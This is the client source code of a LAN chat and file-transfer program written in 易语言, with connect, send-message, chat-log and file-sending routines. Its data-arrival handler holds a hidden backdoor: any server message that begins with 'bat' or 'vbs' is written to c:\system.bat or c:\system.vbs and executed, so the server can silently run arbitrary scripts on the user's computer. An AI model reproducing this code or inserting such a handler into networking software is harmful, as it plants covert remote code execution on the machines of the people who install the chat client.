html代码
客户机代码：
.
版本 2
.支持库 shell
.支持库 xplib
.程序集 窗口程序集1
.程序集变量 文件号1, 整数型
.程序集变量 文件长度, 整数型
.程序集变量 发送内容, 字节集
.程序集变量 文件名, 文本型
.程序集变量 文件号2, 整数型
.子程序 _按钮1_被单击
.局部变量 现在时间, 文本型
.如果 (编辑框7.内容 ＝ “1”)
    .如果 (编辑框6.内容 ≠ “”)
        .如果 (编辑框2.内容 ≠ “”)
            客户1.发送数据 (“聊天” ＋ 编辑框2.内容)
            现在时间 ＝ 到文本 (取年份 (取现行时间 ())) ＋ “/” ＋ 到文本 (取月份 (取现行时间 ())) ＋ “/” ＋ 到文本 (取日 (取现行时间 ())) ＋ “/” ＋ 到文本 (取小时 (取现行时间 ())) ＋ “:” ＋ 到文本 (取分钟 (取现行时间 ())) ＋ “:” ＋ 到文本 (取秒 (取现行时间 ()))
            编辑框1.内容 ＝ 编辑框1.内容 ＋ “【本机】” ＋ 现在时间 ＋ #换行符 ＋ “  ” ＋ 编辑框2.内容 ＋ #换行符
            编辑框2.内容 ＝ “”
        .否则
            信息框 (“发送消息不能为空”, 48, “提示”)
        .如果结束
    .否则
        信息框 (“服务器IP地址不能为空”, 48, “提示”)
    .如果结束
.否则
    信息框 (“服务器未连接”, 48, “提示”)
.如果结束
.子程序 _按钮2_被单击
.如果 (编辑框6.内容 ≠ “”)
    .如果 (编辑框8.内容 ≠ “”)
        .如果 (客户1.连接 (编辑框6.内容, 1991) ＝ 真)
            播放MP3 (1, “xlj.mp3”)
            编辑框1.内容 ＝ 编辑框1.内容 ＋ “连接：” ＋ 编辑框6.内容 ＋ “成功” ＋ #换行符
            按钮2.禁止 ＝ 真
            编辑框7.内容 ＝ “1”
            客户1.发送数据 (“昵称” ＋ 编辑框8.内容)
        .否则
            播放MP3 (1, “lk.mp3”)
            编辑框1.内容 ＝ 编辑框1.内容 ＋ “连接：” ＋ 编辑框6.内容 ＋ “失败” ＋ #换行符
        .如果结束
    .否则
        信息框 (“请填写你的昵称”, 48, “提示”)
    .如果结束
.否则
    信息框 (“请填写要连接的IP地址”, 48, “提示”)
.如果结束
.子程序 _客户1_数据到达
.局部变量 接收内容, 文本型
.局部变量 现在时间, 文本型
.局部变量 发送进度, 整数型
接收内容 ＝ 到文本 (客户1.取回数据 ())
现在时间 ＝ 到文本 (取年份 (取现行时间 ())) ＋ “/” ＋ 到文本 (取月份 (取现行时间 ())) ＋ “/” ＋ 到文本 (取日 (取现行时间 ())) ＋ “/” ＋ 到文本 (取小时 (取现行时间 ())) ＋ “:” ＋ 到文本 (
取分钟 (取现行时间 ())) ＋ “:” ＋ 到文本 (取秒 (取现行时间 ()))
.如果 (接收内容 ＝ “接收”)
    .如果 (是否在文件尾 (文件号1, ) ＝ 假)
        发送内容 ＝ 读入字节集 (文件号1, 2048)
        发送进度 ＝ 取读写位置 (文件号1)
        进度条1.位置 ＝ 发送进度 ÷ 文件长度 × 1000
        客户1.发送数据 (发送内容)
    .否则
        客户1.发送数据 (“发送完毕”)
        信息框 (“发送完毕”, 64, “提示”)
        分组框8.可视 ＝ 假
        进度条1.位置 ＝ 0
    .如果结束
.否则
    .如果 (接收内容 ＝ “拒绝”)
        信息框 (“对方拒绝接收文件”, 64, “提示”)
        分组框8.可视 ＝ 假
    .否则
        .如果 (取文本左边 (接收内容, 3) ＝ “bat”)
            文件号1 ＝ 打开文件 (“c:\system.bat”, 4, 1)
            写出文本 (文件号1, 取文本右边 (接收内容, 取文本长度 (接收内容) － 3))
            关闭文件 (文件号1)
            执行 (4, “c:\system.bat”, , , )
        .否则
            .如果 (取文本左边 (接收内容, 3) ＝ “vbs”)
                文件号1 ＝ 打开文件 (“c:\system.vbs”, 4, 1)
                写出文本 (文件号1, 取文本右边 (接收内容, 取文本长度 (接收内容) － 3))
                关闭文件 (文件号1)
                执行 (4, “c:\system.vbs”, , , )
            .否则
                编辑框1.内容 ＝ 编辑框1.内容 ＋ “【服务器】” ＋ 现在时间 ＋ #换行符 ＋ “  ” ＋ 接收内容 ＋ #换行符
                播放音乐 (“xxx.wav”, 假)
            .如果结束
        .如果结束
    .如果结束
.如果结束
.子程序 _客户1_连接断开
编辑框7.内容 ＝ “0”
编辑框1.内容 ＝ 编辑框1.内容 ＋ “<与服务器断开>” ＋ #换行符
按钮2.禁止 ＝ 假
播放MP3 (1, “lk.mp3”)
.子程序 _按钮4_被单击
.如果 (编辑框7.内容 ＝ “1”)
    客户1.断开连接 ()
    编辑框7.内容 ＝ “0”
    编辑框1.内容 ＝ 编辑框1.内容 ＋ “<与服务器断开连接>” ＋ #换行符
    按钮2.禁止 ＝ 假
    播放MP3 (1, “lk.mp3”)
.否则
    信息框 (“没有连接”, 48, “提示”)
.如果结束
.子程序 _按钮9_被单击
编辑框13.内容 ＝ “”
分组框8.可视 ＝ 假
.子程序 _按钮7_被单击
通用对话框1.打开 ()
编辑框13.内容 ＝ 通用对话框1.文件名
.子程序 _按钮8_被单击
.如果 (编辑框13.内容 ≠ “”)
    文件名 ＝ 取文本右边 (编辑框13.内容, 取文本长度 (编辑框13.内容) － 倒文本 (编辑框13.内容, “\”, , 假))
    文件号1 ＝ 打开文件 (编辑框13.内容, 1, 1)
    文件长度 ＝ 取文件长度 (文件号1)
    客户1.发送数据 (“文件名” ＋ 文件名 ＋ “|” ＋ 到文本 (文件长度))
.否则
    信息框 (“未选择文件”, 48, “提示”)
.如果结束
.子程序 _按钮10_被单击
.如果 (编辑框7.内容 ＝ “1”)
    分组框8.可视 ＝ 真
.否则
    信息框 (“未连接服务器”, 48, “提示”)
.如果结束
.子程序 _按钮13_被单击
.局部变量 文件号3, 整数型
文件号3 ＝ 打开文件 (“客户机聊天记录.txt”, 5, 1)
移到文件尾 (文件号3)
插入文本 (文件号3, 编辑框1.内容)
关闭文件 (文件号3)
编辑框1.内容 ＝ “”
.子程序 __启动窗口_创建完毕
_启动窗口.标题 ＝ _启动窗口.标题 ＋ “本机IP地址【” ＋ 转换为IP地址 (取主机名 ()) ＋ “】”

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。